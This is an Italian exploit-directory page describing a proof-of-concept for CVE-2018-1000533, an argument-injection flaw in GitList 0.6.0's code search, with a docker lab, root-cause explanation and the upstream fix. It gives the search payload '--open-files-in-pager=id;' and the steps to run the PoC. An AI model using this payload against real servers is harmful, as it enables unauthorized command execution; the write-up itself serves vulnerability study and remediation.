Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2018-1000533 — Exploit di prova di concetto per CVE-2018-1000533, una vulnerabilità di esecuzione remota di codice in GitList 0.6.0 tramite input non sanitizzato nella funzione di ricerca, che consente l'esecuzione arbitraria di comandi. | Kitploit
Strumenti/GitHubGitHub/dddo0/cve-2018-1000533
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration Testing
GitHubdddo0/cve-2018-1000533

CVE-2018-1000533

Exploit di prova di concetto per CVE-2018-1000533, una vulnerabilità di esecuzione remota di codice in GitList 0.6.0 tramite input non sanitizzato nella funzione di ricerca, che consente l'esecuzione arbitraria di comandi.

Vedi Repository
1 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Vulnerabilità di esecuzione remota di codice in GitList 0.6.0 (CVE-2018-1000533)

GitList è un moderno visualizzatore di repository Git.

Nelle versioni di GitList 0.6.0 e precedenti esiste una vulnerabilità che trasmette input non adeguatamente convalidati a funzioni di sistema, consentendo l'esecuzione di comandi arbitrari con i privilegi dell'utente PHP.

Configurazione dell'ambiente

Per avviare il server GitList 0.6.0, eseguire il seguente comando.

root@kitploit:~
docker compose up -d

Prima di eseguire poc.py, installare le dipendenze.

root@kitploit:~
pip install requests

Una volta completata la configurazione, accedere a http://127.0.0.1:8080 e verificare che esista un repository di test chiamato example.

Principio della vulnerabilità

GitList utilizza git grep per cercare codice all'interno del repository.

root@kitploit:~
public function searchTree($query, $branch)
{
    if (empty($query)) {
        return null;
    }

    $query = escapeshellarg($query);

    try {
        $results = $this->getClient()->run($this, "grep -i --line-number {$query} $branch");
    } catch (\RuntimeException $e) {
        return false;
    }

Qui $query indica la parola chiave di ricerca, $branch indica il ramo di destinazione della ricerca.

Se un attaccante invia come termine di ricerca --open-files-in-pager=id;, il comando id verrà eseguito nel sistema.

Le ragioni per cui si verifica questa vulnerabilità sono due:

  1. Limiti della funzione escapeshellarg()

Teoricamente, dopo il passaggio dal codice $query = escapeshellarg($query);, l'input diventa una stringa racchiusa tra apici singoli. Tuttavia, escapeshellarg() impedisce l'iniezione dal punto di vista della shell, ma non impedisce al parser delle opzioni di git di interpretare una stringa che inizia con -- come un'opzione.

  1. Caratteristica dell'opzione --open-files-in-pager

Questa opzione di git grep serve a specificare un programma di paging esterno per visualizzare i risultati della ricerca, e ha la caratteristica di eseguire direttamente come comando di sistema il valore ad essa passato.

Condizioni della vulnerabilità

  • Deve essere in esecuzione GitList versione 0.6.0.
  • L'URL utilizzato nelle richieste POST ([repo_name]/tree/[keyword]/search) contiene due parametri: [repo_name] e [keyword].
  • [repo_name] deve essere un repository esistente su GitList, e [keyword] deve essere una parola chiave che produce almeno un risultato di ricerca. (In questa riproduzione, è stato usato il repository example e la parola chiave a.)

Procedura di riproduzione

Eseguire poc.py con il seguente comando.

Tramite questo script, viene eseguito touch /tmp/success_dddo0, creando un file vuoto chiamato success_dddo0 nella directory /tmp del server.

root@kitploit:~
python3 poc.py http://127.0.0.1:8080

Dopo l'invio della richiesta, verificare che success_dddo0 sia stato creato con successo usando il seguente comando.

root@kitploit:~
docker compose exec web ls -l /tmp/success_dddo0

Risultato dell'esecuzione

Dopo l'esecuzione del PoC, si può verificare che il comando di sistema arbitrario (touch /tmp/success_dddo0) è stato eseguito con successo all'interno del server, creando il file.

1.png

Termine dell'ambiente

root@kitploit:~
docker compose down

Misure correttive

È necessario aggiornare GitList all'ultima versione.

Modifiche al codice:

root@kitploit:~
public function searchTree($query, $branch)
{
    if (empty($query)) {
        return null;
    }
    $query = preg_replace('/(--?[A-Za-z0-9\-]+)/', '', $query);
    $query = escapeshellarg($query);
    try {
        $results = $this->getClient()->run($this, "grep -i --line-number -- {$query} $branch");
    } catch (\RuntimeException $e) {
        return false;
    }

GitList ha risolto la vulnerabilità utilizzando un'espressione regolare per rimuovere i prefissi - illegittimi dalla parola chiave di ricerca ($query) e aggiungendo -- (indicatore di fine delle opzioni) al comando git grep, forzando tutti gli input successivi a essere trattati come semplici stringhe (termini di ricerca) e non come opzioni del comando.

Scarica lo strumento